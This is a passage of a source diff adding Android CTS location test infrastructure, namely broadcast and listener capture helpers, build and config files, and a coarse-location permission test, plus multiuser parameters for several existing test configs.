--- a/tests/leanbackjank/AndroidTest.xml
+++ b/tests/leanbackjank/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Instant apps for TV is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLeanbackJankTestCases.apk" />
diff --git a/tests/leanbackjank/OWNERS b/tests/leanbackjank/OWNERS
new file mode 100644
index 0000000..729b9b6
--- /dev/null
+++ b/tests/leanbackjank/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 188489
+dake@google.com
\ No newline at end of file
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index ed88b00a..f2aaee5 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 7fef84d..b30e290 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 7a1b306..f4d043a 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 45a63b5..771293e 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 4b6aaf6..c962faa 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index f3c2908..27f1f4c 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/location/Android.mk b/tests/location/Android.mk
new file mode 100644
index 0000000..8f2b031
--- /dev/null
+++ b/tests/location/Android.mk
@@ -0,0 +1,16 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
+
diff --git a/tests/location/OWNERS b/tests/location/OWNERS
new file mode 100644
index 0000000..53f2bc3
--- /dev/null
+++ b/tests/location/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 32850
+wyattriley@google.com
+sooniln@google.com
+weiwa@google.com
+dnchrist@google.com
diff --git a/tests/location/TEST_MAPPING b/tests/location/TEST_MAPPING
new file mode 100644
index 0000000..a9dbda4
--- /dev/null
+++ b/tests/location/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsLocationFineTestCases"
+ },
+ {
+ "name": "CtsLocationCoarseTestCases"
+ },
+ {
+ "name": "CtsLocationNoneTestCases"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/tests/location/common/Android.bp b/tests/location/common/Android.bp
new file mode 100644
index 0000000..2b24322
--- /dev/null
+++ b/tests/location/common/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+ name: "LocationCtsCommon",
+ srcs: [
+ "src/**/*.java",
+ ],
+ libs: [
+ "compatibility-device-util-axt",
+ "android.test.base.stubs",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/location/common/src/android/location/cts/common/BroadcastCapture.java b/tests/location/common/src/android/location/cts/common/BroadcastCapture.java
new file mode 100644
index 0000000..f2ea3ae
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/BroadcastCapture.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Looper;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class BroadcastCapture extends BroadcastReceiver implements AutoCloseable {
+
+ protected final Context mContext;
+ private final LinkedBlockingQueue<Intent> mIntents;
+
+ public BroadcastCapture(Context context, String action) {
+ this(context);
+ register(action);
+ }
+
+ protected BroadcastCapture(Context context) {
+ mContext = context;
+ mIntents = new LinkedBlockingQueue<>();
+ }
+
+ protected void register(String action) {
+ mContext.registerReceiver(this, new IntentFilter(action));
+ }
+
+ public Intent getNextIntent(long timeoutMs) throws InterruptedException {
+ if (Looper.myLooper() == Looper.getMainLooper()) {
+ throw new AssertionError("getNextLocation() called from main thread");
+ }
+
+ return mIntents.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void close() {
+ mContext.unregisterReceiver(this);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mIntents.add(intent);
+ }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java b/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
new file mode 100644
index 0000000..5e9301d
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
@@ -0,0 +1,52 @@
+package android.location.cts.common;
+
+import android.location.Location;
+import android.os.CancellationSignal;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Consumer;
+
+public class GetCurrentLocationCapture implements Consumer<Location>, AutoCloseable {
+
+ private final CancellationSignal mCancellationSignal;
+ private final CountDownLatch mLatch;
+ private Location mLocation;
+
+ public GetCurrentLocationCapture() {
+ mCancellationSignal = new CancellationSignal();
+ mLatch = new CountDownLatch(1);
+ }
+
+ public CancellationSignal getCancellationSignal() {
+ return mCancellationSignal;
+ }
+
+ public boolean hasLocation(long timeoutMs) throws InterruptedException {
+ return mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public Location getLocation(long timeoutMs) throws InterruptedException, TimeoutException {
+ if (mLatch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
+ return mLocation;
+ } else {
+ throw new TimeoutException("no location received before timeout");
+ }
+ }
+
+ @Override
+ public void accept(Location location) {
+ if (mLatch.getCount() == 0) {
+ throw new AssertionError("callback received multiple locations");
+ }
+
+ mLocation = location;
+ mLatch.countDown();
+ }
+
+ @Override
+ public void close() {
+ mCancellationSignal.cancel();
+ }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
new file mode 100644
index 0000000..bdb66bf
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Bundle;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class LocationListenerCapture implements LocationListener, AutoCloseable {
+
+ private final LocationManager mLocationManager;
+ private final LinkedBlockingQueue<Location> mLocations;
+ private final LinkedBlockingQueue<Boolean> mProviderChanges;
+
+ public LocationListenerCapture(Context context) {
+ mLocationManager = context.getSystemService(LocationManager.class);
+ mLocations = new LinkedBlockingQueue<>();
+ mProviderChanges = new LinkedBlockingQueue<>();
+ }
+
+ public Location getNextLocation(long timeoutMs) throws InterruptedException {
+ return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
+ return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void onLocationChanged(Location location) {
+ mLocations.add(location);
+ }
+
+ @Override
+ public void onStatusChanged(String provider, int status, Bundle extras) {
+ }
+
+ @Override
+ public void onProviderEnabled(String provider) {
+ mProviderChanges.add(true);
+ }
+
+ @Override
+ public void onProviderDisabled(String provider) {
+ mProviderChanges.add(false);
+ }
+
+ @Override
+ public void close() {
+ mLocationManager.removeUpdates(this);
+ }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
new file mode 100644
index 0000000..5afb7b3
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import static android.location.LocationManager.KEY_LOCATION_CHANGED;
+import static android.location.LocationManager.KEY_PROVIDER_ENABLED;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.location.Location;
+import android.location.LocationManager;
+import android.os.Looper;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class LocationPendingIntentCapture extends BroadcastCapture {
+
+ private static final String ACTION = "android.location.cts.LOCATION_BROADCAST";
+ private static final AtomicInteger sRequestCode = new AtomicInteger(0);
+
+ private final LocationManager mLocationManager;
+ private final PendingIntent mPendingIntent;
+ private final LinkedBlockingQueue<Location> mLocations;
+ private final LinkedBlockingQueue<Boolean> mProviderChanges;
+
+ public LocationPendingIntentCapture(Context context) {
+ super(context);
+
+ mLocationManager = context.getSystemService(LocationManager.class);
+ mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
+ new Intent(ACTION).setPackage(context.getPackageName()),
+ PendingIntent.FLAG_CANCEL_CURRENT);
+ mLocations = new LinkedBlockingQueue<>();
+ mProviderChanges = new LinkedBlockingQueue<>();
+
+ register(ACTION);
+ }
+
+ public PendingIntent getPendingIntent() {
+ return mPendingIntent;
+ }
+
+ public Location getNextLocation(long timeoutMs) throws InterruptedException {
+ if (Looper.myLooper() == Looper.getMainLooper()) {
+ throw new AssertionError("getNextLocation() called from main thread");
+ }
+
+ return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
+ if (Looper.myLooper() == Looper.getMainLooper()) {
+ throw new AssertionError("getNextProviderChange() called from main thread");
+ }
+
+ return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void close() {
+ super.close();
+ mLocationManager.removeUpdates(mPendingIntent);
+ mPendingIntent.cancel();
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ if (intent.hasExtra(KEY_PROVIDER_ENABLED)) {
+ mProviderChanges.add(intent.getBooleanExtra(KEY_PROVIDER_ENABLED, false));
+ } else if (intent.hasExtra(KEY_LOCATION_CHANGED)) {
+ mLocations.add(intent.getParcelableExtra(KEY_LOCATION_CHANGED));
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
new file mode 100644
index 0000000..75e4e39
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
@@ -0,0 +1,64 @@
+package android.location.cts.common;
+
+import static android.location.LocationManager.KEY_PROXIMITY_ENTERING;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.location.LocationManager;
+import android.os.Looper;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class ProximityPendingIntentCapture extends BroadcastCapture {
+
+ private static final String ACTION = "android.location.cts.LOCATION_BROADCAST";
+ private static final AtomicInteger sRequestCode = new AtomicInteger(0);
+
+ private final LocationManager mLocationManager;
+ private final PendingIntent mPendingIntent;
+ private final LinkedBlockingQueue<Boolean> mProximityChanges;
+
+ public ProximityPendingIntentCapture(Context context) {
+ super(context);
+
+ mLocationManager = context.getSystemService(LocationManager.class);
+ mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
+ new Intent(ACTION).setPackage(context.getPackageName()),
+ PendingIntent.FLAG_CANCEL_CURRENT);
+ mProximityChanges = new LinkedBlockingQueue<>();
+
+ register(ACTION);
+ }
+
+ public PendingIntent getPendingIntent() {
+ return mPendingIntent;
+ }
+
+ public Boolean getNextProximityChange(long timeoutMs) throws InterruptedException {
+ if (Looper.myLooper() == Looper.getMainLooper()) {
+ throw new AssertionError("getNextProximityChange() called from main thread");
+ }
+
+ return mProximityChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void close() {
+ super.close();
+ mLocationManager.removeProximityAlert(mPendingIntent);
+ mPendingIntent.cancel();
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ if (intent.hasExtra(KEY_PROXIMITY_ENTERING)) {
+ mProximityChanges.add(intent.getBooleanExtra(KEY_PROXIMITY_ENTERING, false));
+ }
+ }
+}
diff --git a/tests/location/location_coarse/Android.bp b/tests/location/location_coarse/Android.bp
new file mode 100644
index 0000000..5730d2a
--- /dev/null
+++ b/tests/location/location_coarse/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLocationCoarseTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "LocationCtsCommon",
+ "androidx.test.ext.junit",
+ "androidx.test.ext.truth",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ ],
+ libs: [
+ "android.test.base.stubs",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/location/location_coarse/AndroidManifest.xml b/tests/location/location_coarse/AndroidManifest.xml
new file mode 100644
index 0000000..1707b11
--- /dev/null
+++ b/tests/location/location_coarse/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.coarse">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for android.location"
+ android:targetPackage="android.location.cts.coarse" >
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
+
diff --git a/tests/location/location_coarse/AndroidTest.xml b/tests/location/location_coarse/AndroidTest.xml
new file mode 100644
index 0000000..5a65568
--- /dev/null
+++ b/tests/location/location_coarse/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="location" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLocationCoarseTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.location.cts.coarse" />
+ </test>
+
+</configuration>
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
new file mode 100644
index 0000000..f4e87e4
--- /dev/null
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.coarse;
+
+import static android.location.LocationManager.GPS_PROVIDER;
+import static android.location.LocationManager.NETWORK_PROVIDER;
+import static android.location.LocationManager.PASSIVE_PROVIDER;
+
+import static androidx.test.ext.truth.location.LocationSubject.assertThat;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.location.Criteria;
+import android.location.Location;
+import android.location.LocationManager;
+import android.location.cts.common.LocationListenerCapture;
+import android.location.cts.common.LocationPendingIntentCapture;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.LocationUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.Executor;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationManagerCoarseTest {
+
+ private static final String TAG = "LocationManagerCoarseTest";
+
+ private static final long TIMEOUT_MS = 5000;
+
+ // 2000m is the default grid size used by location fudger
+ private static final float MAX_COARSE_FUDGE_DISTANCE_M = 2500f;
+
+ private static final String COARSE_TEST_PROVIDER = "coarse_test_provider";
+ private static final String FINE_TEST_PROVIDER = "fine_test_provider";
+
+ private Random mRandom;
+ private Context mContext;
+ private LocationManager mManager;
+
+ @Before
+ public void setUp() throws Exception {
+ LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+ true);
+
+ long seed = System.currentTimeMillis();
+ Log.i(TAG, "location random seed: " + seed);
+
+ mRandom = new Random(seed);
+ mContext = ApplicationProvider.getApplicationContext();
+ mManager = mContext.getSystemService(LocationManager.class);
+
+ assertNotNull(mManager);
+
+ for (String provider : mManager.getAllProviders()) {
+ mManager.removeTestProvider(provider);
+ }
+
+ mManager.addTestProvider(COARSE_TEST_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_COARSE);
+ mManager.setTestProviderEnabled(COARSE_TEST_PROVIDER, true);
+
+ mManager.addTestProvider(FINE_TEST_PROVIDER,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_LOW,
+ Criteria.ACCURACY_FINE);
+ mManager.setTestProviderEnabled(FINE_TEST_PROVIDER, true);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ for (String provider : mManager.getAllProviders()) {
+ mManager.removeTestProvider(provider);
+ }
+
+ LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+ false);
+ }
+
+ @Test
+ public void testGetLastKnownLocation() {
+ Location loc = createLocation(COARSE_TEST_PROVIDER, mRandom);
+ loc.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+
+ mManager.setTestProviderLocation(COARSE_TEST_PROVIDER, loc);
+ assertThat(mManager.getLastKnownLocation(COARSE_TEST_PROVIDER)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+
+ try {
+ mManager.getLastKnownLocation(FINE_TEST_PROVIDER);
+ fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+ } catch (SecurityException e) {
+ // pass
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates() throws Exception {
+ Location loc = createLocation(COARSE_TEST_PROVIDER, mRandom);
+ loc.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(COARSE_TEST_PROVIDER, 0, 0, directExecutor(), capture);
+ mManager.setTestProviderLocation(COARSE_TEST_PROVIDER, loc);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+ }
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(FINE_TEST_PROVIDER, 0, 0, directExecutor(), capture);
+ fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+ } catch (SecurityException e) {
+ // pass
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_PendingIntent() throws Exception {
+ Location loc = createLocation(COARSE_TEST_PROVIDER, mRandom);
+ loc.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+
+ try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+ mManager.requestLocationUpdates(COARSE_TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+ mManager.setTestProviderLocation(COARSE_TEST_PROVIDER, loc);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+ }
+
+ try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+ mManager.requestLocationUpdates(FINE_TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+ fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+ } catch (SecurityException e) {
+ // pass
+ }
+ }
+
+ @Test
+ public void testGetProviders() {
+ List<String> providers = mManager.getProviders(false);
+ assertTrue(providers.contains(COARSE_TEST_PROVIDER));
+ assertFalse(providers.contains(FINE_TEST_PROVIDER));
+ assertFalse(providers.contains(GPS_PROVIDER));
